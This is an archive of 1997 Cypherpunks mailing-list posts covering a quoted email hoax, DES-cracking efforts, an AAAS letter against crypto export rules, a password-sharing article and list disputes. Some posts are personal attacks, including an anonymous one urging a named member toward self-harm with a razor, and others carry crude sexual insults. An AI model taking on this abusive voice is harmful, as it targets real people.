>HELP! Can anyone tell me what this message is that I received in my mail
>today? Is it real? Should I do as it suggests? I have used the Internet
>once to purchase some books? Was my credit card number stolen in the
>process? How did this happen and how will it affect me? What should I do?
>PLEASE ADVISE ASAP! Thank you for your help
>Ellen Iwasaki
>Kumamoto, Japan
>
>> From: eiwasaki@gol.com
>> Date: Wed, 19 Feb 97 02:27 CST
>> Apparently-From: eiwasaki@gol.com
>> Apparently-To: eiwasaki@gol.com
>> Reply-to: eiwasaki@gol.com
>> Registered-mail-reply-requested-by: eiwasaki@gol.com
>> Sensitivity: PERSONAL-CONFIDENTIAL
>> Precedence: EMERGENCY
>> Priority: URGENT
>> Comment: Authenticated sender is <eiwasaki@gol.com>
>> Organization: NaughtyRobot
>> Subject: security breached by NaughtyRobot
>>
>> This message was sent to you by NaughtyRobot, an Internet spider that
>> crawls into your server through a tiny hole in the World Wide Web.
>>
>> NaughtyRobot exploits a security bug in HTTP and has visited your host
>> system to collect personal, private, and sensitive information.
>>
>> It has captured your Email and physical addresses, as well as your phone
>> and credit card numbers.  To protect yourself against the misuse of this
>> information, do the following:
>>
>>         1. alert your server SysOp,
>>         2. contact your local police,
>>         3. disconnect your telephone, and
>>         4. report your credit cards as lost.
>>
>> Act at once.  Remember: only YOU can prevent DATA fires.
>>
>> This has been a public service announcement from the makers of
>> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Feb 1997 16:02:03 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <199702192005.UAA01691@server.test.net>
Message-ID: <Pine.LNX.3.95.970220185915.1374A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 19 Feb 1997, Adam Back wrote:

> Have there been any sightings of your code outside the US?
> 
> Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
> things often turn up, but I haven't seen it yet.

Last time I checked, deskr06i.zip, which I believe is the correct filename,
was in /pub/incoming.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMwzm9yzIPc7jvyFpAQHeggf9HN1XnB1pWdwfsDPptMCCJdq6whdDlac/
W2In+Yzxro7n+RyCYdPFHXldlCFDh/st6SbL90XFQp2kS7Mg7Zu7BtgMRuUOugqk
LGW4cDkpjg/gq5/AL4h49puuch4gVV7//pnfGke6fEvaBF/1wvpxNEh1Ades291t
guC1hllIoyQkrZIanwuiMl3ubq5Ep3yuorVoYkqspYYmtfzwkhduDmEbqfMp13mN
BCJG2QIUtm2GctkWn7rQDaLwFBBn+VIhOn1zF9EPfgr1PXt8HIhzWfQ3JkmtF9Ql
wkxz7ebTyhxIMt6culECrcSNBhSGLgxMCLYsnm8NlkGqESbmMVSHjg==
=LePS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Thu, 20 Feb 1997 19:28:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702210328.TAA23527@f15.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




>Date: Wed, 19 Feb 1997 15:37:45 -0800
>From: "Timothy C. May" <tcmay@got.net>
>To: shark@turk.net, cypherpunks@toad.com
>Subject: "Trial" 

>At 8:02 PM +0200 2/19/97, Shark wrote:
>>Trial
>
>OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
>asking what the hell the vote is all about.

Make that 4 what the hells.  What the hell?  this is the first I've seen of
this post...  I feel so left out.

>
>Looks like there won't be a trial and we can move directly to the punishment.
>
>
>--Klaus! von Future Prime
>
>
>
>--
>[This Bible excerpt awaiting review under the U.S. Communications Decency
>Act of 1996]
>And then Lot said, "I have some mighty fine young virgin daughters. Why
>don't you boys just come on in and fuck them right here in my house - I'll
>just watch!"....Later, up in the mountains, the younger daughter said:
>"Dad's getting old. I say we should fuck him before he's too old to fuck."
>So the two daughters got him drunk and screwed him all that night. Sure
>enough, Dad got them pregnant, and had an incestuous bastard son....Onan
>really hated the idea of doing his brother's wife and getting her pregnant
>while his brother got all the credit, so he pulled out before he
>came....Remember, it's not a good idea to have sex with your sister, your
>brother, your parents, your pet dog, or the farm animals, unless of course
>God tells you to. [excerpts from the Old Testament, Modern Vernacular
>Translation, TCM, 1996]
>
>
>


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 20 Feb 1997 19:38:25 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Condolences
Message-ID: <199702210338.TAA15155@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim:

Well, if I am still in your killfile you won't be reading this.  
That's too bad.  I just want to say the you are really being given 
the stake through the heart treatment by Sandy.  And you say in your 
post, from the flames trash bin,  Re: Constitution and a Right to Privacy:

"I write about what I find interesting. You all know where the
Delete key is. (Of course, a fairly large fraction of my recent posts
have been deleted for you by Sandy, who sends many of my posts to
neither the Main list nor the Flames list. Bet a lot of you didn't
know this, did you?)"

No, I did not know that and it pisses me off!!!

Fuck everyone.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Feb 1997 17:11:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kiss the Toad
Message-ID: <1.5.4.32.19970221010531.0072a384@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The news wads we've been posting will appear in the cpunk
mail dumpster.

Or, we'll e-mail them to anyone who unsubs but wants
the stuff.

Send us a blank message with subject: DUM_pit

-----

Thanks to JG for princely service, a kiss to the toad.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elliot Lee <sopwith@cuc.edu>
Date: Thu, 20 Feb 1997 18:44:26 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <199702202226.OAA23750@toad.com>
Message-ID: <Pine.LNX.3.95.970220214241.4314C-100000@helix.cs.cuc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Feb 1997, Adam Back wrote:

> 
> Peter Trei <trei@process.com> writes:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > There may be a distributed Internet crack using that approach, 
> > > though DES is still very inefficient on general-purpose computers and 
> > > works better on bit-twiddliing chips.
> > 
> > There's one slowly shaping up, organized by the same people who did 
> > the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> > which is already underway.
> 
> The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
> and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
> particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
> I'm having a heck of a time talking him out of it.

http://zero.genx.net/ is going at it as well - and whoever finds the key
gets the prize.

What's wrong with EFF/GNU?

-- Elliot Lee
   http://www.redhat.com/             http://www.linuxexpo.org/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 20 Feb 1997 22:19:09 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Revisionism Was: Another email address forgery Was: REPOST: Re: Robert Br
In-Reply-To: <199702202308.PAA24681@kachina.jetcafe.org>
Message-ID: <330D3E32.393C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings wrote:
> Dave Hayes wrote:
> > Toto writes:
> >>   Canada has a set of anti-hate laws that say that if Joe Average says
> >> "Martin Looter King is a doo-doo", then he can be put in prison for
> >> 40,000 years.

> > That's absolutely ludicrous. Anti-hate laws only serve to make people
> > hate the laws. Legislating emotions is quite impossible, not to
> > mention downright scary.

>   Canada is one of the worst in the Western World--they have all sorts
> of censorous nonsense on the books and seem almost as bad as Germany.
> They don't allow certain political stuff like revisionism, etc. even
> though quite obviously the best answer to revisionism is the very
> crap they produce.  Trying to surpress that viewpoint just makes it
> all the more powerful.

Pardon my intrusion, but doesn't revisionism allow suppressed people
to recover at least some of their history (in the official sense),
and since when is it not legitimate to re-investigate anything at all?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 20:12:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: AAAS Crypto Letter -> Scientific Freedom & Human Rights"
Message-ID: <01IFNMX72XV48Y51RI@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 23:02:43.31
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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Send any replies to the original author, listed in the From: field below.
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Date: Thu, 20 Feb 1997 14:16:54 -0500
From: afowler@aaas.org (Alex Fowler)
Subject: AAAS Crypto Letter -> Scientific Freedom & Human Rights

What follows is a copy of the letter sent under the signature of AAAS' 
Executive Officer, Dr. Richard Nicholson, to the Department of Commerce on 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items.  The letter expresses our concern that the 
current federal policy with regard to encryption raises serious questions 
for both scientific freedom and human rights work.  In addition, it marks 
the first time that the Association has weighed in on the crypto debate at 
this level.

Sincerely,
Alex Fowler
AAAS Scientific Freedom, Responsibility
and Law Program



                      American Association for the Advancement of Science
                          1200 New York Avenue, NW, Washington, DC, 20005

     
February 7, 1997

Ms. Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
14th Street and Pennsylvania Ave., NW, Room 2705
Washington, DC 20230


Dear Ms. Crowe:

On behalf of the American Association for the Advancement of Science 
(AAAS), the world's largest general scientific society, I am responding to 
the Bureau of Export Administration's Interim Rule on the transfer of 
certain encryption items, published in the Federal Register, December 30, 
1996.  Before commenting directly on specific provisions of the Interim 
Rule, it is important to make the point that its basic thrust threatens to 
undermine essential features of scientific freedom and the open exchange of 
information that are generally acknowledged as critical to innovation in 
science and technology and are responsible in large part for the 
preeminence of America's research and development enterprise.  AAAS opposes 
attempts by the government to restrict the communication or publication of 
unclassified research and technical information, efforts which we believe 
are inconsistent with scientific advancement.  We are also concerned that 
certain provisions of the Interim Rule will adversely affect the effective 
use of information technologies in efforts to protect and promote human 
rights.

Many of our members in the academic community have legitimate concerns that 
teaching courses on cryptography appears to violate the Interim Rule if 
foreign students are enrolled in such courses.  Such a control seems to be 
inadvertent, since Part 744.9 states that "mere teaching or discussion of 
information about cryptography ... by itself would not establish the intent 
described in this section, even where foreign persons are present."  
However, Parts 734.3(b) and 734.9 place controls on all "educational 
information" applying to encryption software controlled under ECCN 5D002, 
and "Educational information" is defined as "release by instruction in ... 
academic institutions."  This matter requires further clarification to 
avoid any unnecessary chilling effect on our educational process.

Currently, part 734.3 (b)(3) of the EAR posits a difference between the 
paper and electronic publication of the same cryptographic materials.  
While it is acceptable under this provision to publish such material in a 
book and distribute it internationally without an export license, putting 
the same information on a disk and sending it abroad is subject to EAR 
approval.  This distinction has serious ramifications for scholarly 
communication as many professional journals are now moving onto the 
Internet as electronic publications.  Will cutting-edge innovations in 
cryptography be publishable in this new medium?  Consider the following 
example: the full text of Science magazine, the major peer reviewed journal 
published by AAAS, is currently available in both print and electronic 
formats.  According to the cited part in the EAR, an article accepted for 
publication on a new cryptographic algorithm would be acceptable in the 
print version of the publication.  However, because the electronic version 
is available to people outside the U.S., to comply with EAR, the journal 
would either have to be published without this article or substantial parts 
omitted.  Scientific publications are crucial to the advancement of science 
and technology and form a primary source of communication among researchers 
worldwide.  Restrictions that limit potential collaborations and channels 
of communication into new and innovative cryptographic products will not 
only impede scientific progress, but will also retard the evolution of a 
secure Global Information Infrastructure.

AAAS has encouraged the development of ethical standards by scientists to 
encourage responsible conduct and to establish accountability to a 
supportive public.  The codes of professional conduct promulgated by the 
largest and most important U.S. professional engineering and computing 
societies all stress the importance of protecting established cultural and 
ethical norms of information privacy and data integrity.  For example, the 
American Society of Information Science's Code of Ethics for Information 
Professionals mandates that its members "uphold each user's, provider's or 
employer's rights to privacy" and resist "all forms of censorship" in 
carrying out their responsibility "to improve, to the best of their means 
and abilities, the information systems in which they work or which they 
represent."  The Interim Rule would compel these scientists and engineers 
-- as employees of major software and hardware computing companies -- to 
produce information security systems that are intentionally weak for 
international markets.  This would create an ethical dilemma for the 
professional.  He is bound by his responsibility to honor the ethical norms 
agreed upon by his profession, but as a citizen of the U.S., he is also 
bound by his responsibility to act according to these federal regulations.  
The government should avoid whenever possible creating circumstances where 
professionals must make such choices.

AAAS provides technical assistance to human rights groups on the design and 
development of information management systems for large-scale human rights 
data collection and analysis.  This process concentrates politically 
volatile information in computers, such as the names of witnesses to 
military massacres in Guatemala who could be subjected to intimidation, 
harassment, or murder by those intent on preventing the public discussion 
and analysis of the information.  Such a system must be protected by strong 
cryptography. 

In our human rights work, we have observed the growing importance of 
non-governmental monitoring of state compliance with international human 
rights agreements as the first line of defense a civil society has against 
abusive regimes.  By documenting and publicizing analyses of abusive 
behavior by governments, non-governmental human rights organizations 
provide a fundamental check on state repression.  In order to be effective, 
human rights monitoring organizations must function with a high level of 
confidentiality.  They must protect the people who give them information 
about state violations of human rights.  Similarly, organizations must 
protect their own staff, many of whom may not be openly associated with the 
organization.

As an increasing proportion of human rights work is supported by the use of 
information technology, cryptographic techniques, including but not limited 
to encryption, have become immensely more important.  Organizations that 
concentrate valuable, dangerous information in databases on hard disks must 
be able to protect them from local authorities, who may be the subjects of 
human rights investigations.  Human rights groups communicating their 
findings with collaborating organizations in other countries must be able 
to transmit their information securely.  

The sending organization must include sufficient information so that the 
receiving organization can verify the claims.  If the information needed to 
verify the claims were intercepted, it could put the claimants in very 
serious danger.  Using strong cryptography, human rights organizations can 
communicate their findings without putting informants or staff at 
additional risk.

These are only a few examples of the compelling need for strong 
cryptography by human rights organizations.  The licensing provisions in 
the Interim Rule permit only inadequate technology for the fundamental, 
democratic needs of non-government human rights organizations.  Part 742.15 
of the Interim Rule suggests three categories of weak or unsafe encryption 
that are eligible for accelerated licensing: (1) includes 40-bit products 
called "mass market encryption software"; (2) permits key recovery 
products; and (3) allows non-recovery encryption items using the DES 
algorithm with 56-bit keys.  

Provisions (1) and (3) are equally untenable for human rights purposes 
because they authorize only products known to be breakable with available 
and inexpensive technology.  Provision (2), key recovery, is equally 
unsatisfactory for human rights organizations.  If keys can be recovered by 
the U.S. government, why should human rights organizations whose entire 
function is defined by abusive governments trust that their information 
will remain secure?  Given past and ongoing AAAS work in countries such as 
Haiti, Honduras, Guatemala, Turkey, and South Africa, this matter is of 
particular concern to us.

In view of these concerns, we urge the Bureau of Export Administration to 
amend the Interim Rule in favor of a more open exchange of ideas and 
information relating to cryptography.  We believe this would advance the 
nation's interests in a manner consistent with the values that are 
responsible for America's widely admired scientific achievements and its 
enduring democratic traditions.
                                           
Sincerely,


Richard S. Nicholson

cc:
John H. Gibbons
Mary L. Good
Orrin G. Hatch, Chair, Senate Judiciary Committee
Patrick J. Leahy, Ranking Minority Member, Senate Judiciary Committee
Jesse Helms, Chair, Senate Foreign Relations Committee
Joseph R. Biden, Jr., Ranking Minority Member, Senate Foreign Relations 
  Committee
John McCain, Chair, Senate Commerce, Science, and Transportation 
  Committee
Ernest F. Hollings, Ranking Minority Member, Senate Commerce, Science 
  & Transportation Committee
Conrad Burns, Member, Senate Commerce, Science, and Transportation 
  Committee
Tom Bliley, Chair, House Commerce Committee
John D. Dingell, Ranking Minority Member, House Commerce Committee
Bob Goodlatte, Member, House Commerce Committee
Henry J. Hyde, Chair, House Judiciary Committee
John Conyers, Jr., Ranking Minority Member, House Judiciary Committee
Benjamin A. Gilman, Chair, House International Relations Committee
Lee H. Hamilton, Ranking Minority Member, House International 
  Relations Committee
F. James Sensenbrenner, Jr., Chair, House Science Committee
George E. Brown, Jr., Ranking Minority Member, House Science Committee
Kenneth C. Bass, III, Esq.
Ann Beeson, Esq.
Cindy A. Cohn, Esq.
Gino J. Scarselli, Esq.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
For more information, contact:
Alexander Fowler or Patrick Ball
Directorate for Science and Policy Programs
1200 New York Avenue, NW
Washington, DC  20005
(202) 326-6600; Fax (202) 289-4950
afowler@aaas.org or pball@aaas.org
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 20 Feb 1997 20:27:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: user: cypherpunks, password: cypherpunks
Message-ID: <199702210431.XAA07742@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



     
                     Content Sites Vexed By Password Abuse
                                       
  The high cost of subscribers sharing log-ons
  
     By Whit Andrews 
     Playboy magazine even has a term for it: "frat-house syndrome." Just
     as readers might pass around a magazine or a copy of a newsletter
     among themselves-- why buy multiple copies when you can see it
     after the guy down the hall is finished?-- Internet users often
     freely share access to their electronic subscriptions.
     The difference is that the number of people who can use a magazine
     or newsletter simultaneously is finite--limited to, say, a
     workgroup or the number of people who can comfortably fit onto a
     couch.
     On the Web, that expands to the number of people worldwide who can
     hunker in front of their monitors, printers, and personal digital
     assistants.
     "We did have one situation where a person posted a link to a story,
     and with it a user ID and password, on the Web, so people could get
     into it," said Tom Baker, business director of The Wall Street
     Journal Interactive edition. "He just thought it was an interesting
     story." Baker said that user seemed somewhat naive about the
     profound flouting of copyright law in which he was engaging, and
     several content providers have reported similar anecdotes involving
     clueless users.
     "I even have people we do business with say, 'Oh yeah, I got a
     password for our office,'" said Kenneth Dotson, vice president of
     marketing at SportsLine USA Inc., a Fort Lauderdale, Fla.-based
     sports site with members-only content areas. "I've had that happen
     two or three times now." The problem of subscribers treating their
     privileges as a commodity that they can give away is particularly
     vexing to Web content sites, which have in most cases crossed a
     difficult hurdle in graduating to a model supported at least to
     some extent by subscription fees.
     Losing those usually low fees to user abuse is thus doubly
     frustrating.
     "We're here trying to make money," said Jay Froscheiser, corporate
     Webmaster at Data Transmission Network Corp., an Omaha, Neb.,
     online service creating new products on the Web with prices ranging
     from $20 to $50 monthly for access. "Serving 10 people on an
     account, we can't make money." DTN's solution is to use cookies,
     the tidbits of information that sites can store in browser files to
     track users' preferences and identities. If subscribers want to
     change browsers or access information from a different computer,
     they have to call DTN and set up the switch.
     Froscheiser said some subscribers complain that the system is too
     Draconian. For example, while many of the farmers who use
     agricultural information services have only one computer to work
     with, others whose work situations make them more itinerant are
     frustrated by their inability to log on from home, work, and
     elsewhere.
     But without exact statistics, it's DTN that is inconvenienced,
     because its deals with content providers are generally based on the
     number of subscribers who access the providers' services through
     DTN, Froscheiser said. "We have to have 100 percent accountability
     for how many people per service there are." Other content
     providers, whose prices are generally lower and are often defrayed
     by advertising to generate revenues, have adopted innovative ways
     to lure subscription cheats into ponying up the price to join.
     SportsLine, for instance, automatically enters members in all
     giveaways and promotions, whereas casual users have to key in their
     information manually. Subscribers can personalize their pages to
     allow them to follow special sports and teams.
     Dotson said such gentle measures are intended to make it more
     attractive to be a member than to use someone else's account, and
     are the only step likely for the company, at least into the near
     future.
     "The environment of the Web doesn't really allow you to police it,"
     he said, and after all, the company has enough of a revenue stream
     from ads to make extra users less of a burden. "We say, 'Okay, not
     much we can do about it, we'll just enjoy the extra page views.' "
     sitewide licenses Other companies whose information is more likely
     to be passed among office workers who share business interests
     rather than sports conversations are aggressively pursuing sitewide
     licenses and lower prices.
     The Wall Street Journal Interactive offers deals to offices that
     allow users to sign up, not with a credit-card number, but with a
     company ID number. Lexis-Nexis does not allow individual licenses,
     but prices its Web services based on how many people there are in
     the office instead.
     All of the content providers agreed that they would prefer other
     methods of controlling distribution, but that barring technological
     advances of significant proportion, they're stuck with what they've
     got.
     "Our strategy is not to implement a solution that's worse than the
     problem," said Wall Street Journal Interactive's Baker of encrypted
     document schemes and micropayment models. "If there were a way to
     protect our information that didn't put an onerous restriction on
     our subscribers reading it, we'd do it." Eileen Kent, vice
     president, new media division of Playboy Enterprises Inc. in
     Chicago, echoed the sentiment. Until technology improves, she said,
     content providers need to assume that there will be some improper
     use of memberships.
     "I think the technology will find solutions," she said. "But until
     then, it's just a cost of doing business."
       ______________________________________________________________
     
     Reprinted from Web Week, Volume 3, Issue 4, February 17, 1997 (c)
     Mecklermedia Corp. All rights reserved. Keywords: content
     electronic_commerce Date: 19970217 
     
                           http://www.iworld.com 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 21 Feb 1997 00:47:14 -0800 (PST)
To: dthorn@gte.net
Subject: Double jeopardy, was Re: Constitution and a Right to Privacy
In-Reply-To: <199702191924.MAA11906@infowest.com>
Message-ID: <3.0.1.32.19970220233614.006e1594@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:23 AM 2/20/97 -0800, Dale Thorn wrote:

(Ok, no, this doesn't have shit to do with C-punks, but I figure this is
going to the flames list anyway. Sue me for being off-topic.)

>I understood clearly the (supposed) intent of the feds in retrying
>the Whites in the South who were beating up on Blacks and getting
>off with White juries - I just believe they would have served the
>people better by declaring mistrials or something instead of using
>the "dual sovereignty" BS, since a study of the Constitution and
>its preparatory papers shows the fathers clearly would have balked
>at this.

While I think that the "dual sovereigns" theory is BS, I don't see how
declaring a mistrial wouldn't run into more or less the same DJ problem.

(Sometimes a retrial after a mistrial has a DJ problem, sometimes not - the
core question is whose fault the mistrial was. If it was caused intentionally
by the prosecution, the DJ clause will bar a retrial; but if the mistake was
nobody's fault or the defense's fault, DJ does not bar a retrial.) 

But if the federal government just looked at state prosecutions which ended
in a way that the feds didn't agree with, and arbitrarily declared mistrials
and retried the defendant(s), we're back at the same double jeopardy problem
- - a person is being tried twice for the same act(s). (Also, after mistrial,
the retrial is generally held  in the same court, but with a different jury.
Such a mistrial wouldn't solve the "prejudiced local jury" or "prejudiced
judge" problem.) Calling the excuse for the second trial "dual sovereigns" or
"mistrial" or "miscarriage of justice" doesn't change the basic facts. 

But there is a real problem behind the "dual sovereign" excuse/doctrine, and
that is that the two sovereigns may in fact have different interests or
different motives - like the example you mentioned, where local Southern
juries were reluctant (or outright unwilling) to convict local white people
for crimes committed against black people. The state government thought that
its interests were best served by a racially discriminatory criminal justice
system, or by ignoring injustice and discrimination. The federal government
(at least some parts of it) thought otherwise, or found it expedient to look
like they thought otherwise. How can the federal government pursue its
interests, let the state pursue its interests, and preserve both a meaningful
system of federal rights and respect for federalism? 

I agree that the "dual sovereign" doctrine is problematic, but I can't
articulate a better way to organize things and address the federalism/federal
rights problem, either. (One approach is to define the problem away, by
making some or all crimes exclusively federal or exclusively state crimes;
the problem is, voters like "tough on crime" legislators, and seem to vote
them into both state and federal legislatures. Unfortunately, we're
(collectively) getting what we're asking for.)
 
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Version: 4.5

iQEVAgUBMw1QN/37pMWUJFlhAQFBSgf/RmZN4XfDTCwsqqgBq6tr7gxptp8cKD9p
uYbE+4l84R7ppXq2/HctgJuEFkD79UGy73nifnKtmh9o/WUBrt12yco6NlHI1Ph+
u96yFP6ZG4OS6jNmMBTvmXpFdGEW7ueJA2Wnnp8lRMaux5Sg5pjtX9TExCPqmX8O
RPxhR+t/3wZHsx2l0tADGAhqzHW6HAGcCloPgskcPAh39vEkqy87Z4VRUHAvOhRP
15QPcPJiHl3noFeqPh/jetUivHqHnpiMw7Ya/RRypSfDyn7cuJzqFRsYoaLCY0i3
8C6oCBCivWHyPAcvqAJzdmgvCL+C4aek8VcZ0hjrLTxHpAsYlZmAyQ==
=fffv
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 20 Feb 1997 22:57:39 -0800 (PST)
To: WeakHold@c2net.bs
Subject: Re: DES Key recovery project, Progress Report #7
In-Reply-To: <199702202149.NAA12388@gabber.c2.net>
Message-ID: <330D6396.427C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


WeakHold wrote:
> 
> sameer wrote:
> >         I think Europeans are just not materialistic money grubbers like those of us at C2Net.
> 
>   When does the "StrongHold BackDoor Challenge" start?

  It started when Sandy first bent over for Sameer.
 
>  --
>  Sameer Parekh                                   Voice:   510-986-8770
>  President                                       FAX:     510-986-8777
>  C2Net
>  http://www.c2.net/                              sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Feb 1997 22:35:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: One-time pads
Message-ID: <199702210635.BAA01630@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


`A pen is mightier than a sword', not to mention Tim Maya's pea-sized penis. He 
would be better served by a safety razor, possibly applied in a bathtub filled with 
warm water (something he has surely never been into).

       /'''
       c-OO Tim Maya
          \
         -






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 21 Feb 1997 03:33:35 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Canada SUCKS !!
In-Reply-To: <330D3E32.393C@gte.net>
Message-ID: <Pine.LNX.3.95.970221063108.21846M-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 20 Feb 1997, Dale Thorn wrote:

> Date: Thu, 20 Feb 1997 22:18:27 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: cypherpunks@toad.com
> Subject: Re: Revisionism Was: Another email address forgery Was: REPOST: Re: Robert Br
> 
> ISP_Ratings wrote:
> > Dave Hayes wrote:
> > > Toto writes:
> > >>   Canada has a set of anti-hate laws that say that if Joe Average says
> > >> "Martin Looter King is a doo-doo", then he can be put in prison for
> > >> 40,000 years.
> 
> > > That's absolutely ludicrous. Anti-hate laws only serve to make people
> > > hate the laws. Legislating emotions is quite impossible, not to
> > > mention downright scary.
> 
> >   Canada is one of the worst in the Western World--they have all sorts
> > of censorous nonsense on the books and seem almost as bad as Germany.
> > They don't allow certain political stuff like revisionism, etc. even
> > though quite obviously the best answer to revisionism is the very
> > crap they produce.  Trying to surpress that viewpoint just makes it
> > all the more powerful.
> 
> Pardon my intrusion, but doesn't revisionism allow suppressed people
> to recover at least some of their history (in the official sense),
> and since when is it not legitimate to re-investigate anything at all?
> 

There is only one thing I can think of to say about all of this.

Canada SUCKS !!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Feb 1997 05:15:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Global Encryption Policy
Message-ID: <1.5.4.32.19970221130842.006a3434@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Cobb's and Peter Gutmann's tales of mixed signals from
UK and NZ security agencies on exporting crypto demonstrate 
the same conflicting policies of their nations' governments as do
the travails of Zimmermann, Bernstein, Karn and Junger with the
USG -- lacking clear regulations, the agencies try bluff and 
obfuscation.

The US move to clarify and tighten regulations in recent ITAR and
EAR amendments surely will be emulated by other nations, as
promised by The Wassenaar Arrangement.

It is part of the major shift of responsibility for dual-use items from 
national security agencies to those handling economic security, and
the guidelines are not as black and white for commerce as they are
for state -- or at least not as yet strictly codified, regulated and enforced.

However, what is happening with crypto is happening with a wide range 
of dual-use items, as the half-century old national security policy 
undergoes a transformation into economic security policy, with
the pervasive impact on subsidiary procedures and regulations in 
security, armaments, intelligence, research, invention, manufacturing, 
law, finance, politics, education and so on.

Note that the World Trade Organization is supplanting the United Nations 
as a forum for dispute resolution (NY Times, 18 February 1997). 

For more on these State-into-Commerce policy deliberations see:

The GAO/NSIAD report "Exporting Dual-Use Items," 14 January 1997: 

   http://jya.com/9724.htm

Export Administration Regulations, with related presidential orders and 
agency rules and regulations:

   http://jya.com/eartoc.htm

Bert-Jaap's site and a 1996 State Department address on The Wassenaar 
Arrangement:

   http://jya.com/dos012396.txt

The Defense Trade News from January 1993 to October 1995
on the shift of encryption items from the USML to the CCL:

   http://jya.com/dtn0193 (+ four)

"Redefining Security," The Joint Security Commission's February 1994
report to DefSEc and DCI:

   http://jya.com/jcs.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael G. Reed" <reed@itd.nrl.navy.mil>
Date: Fri, 21 Feb 1997 05:52:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
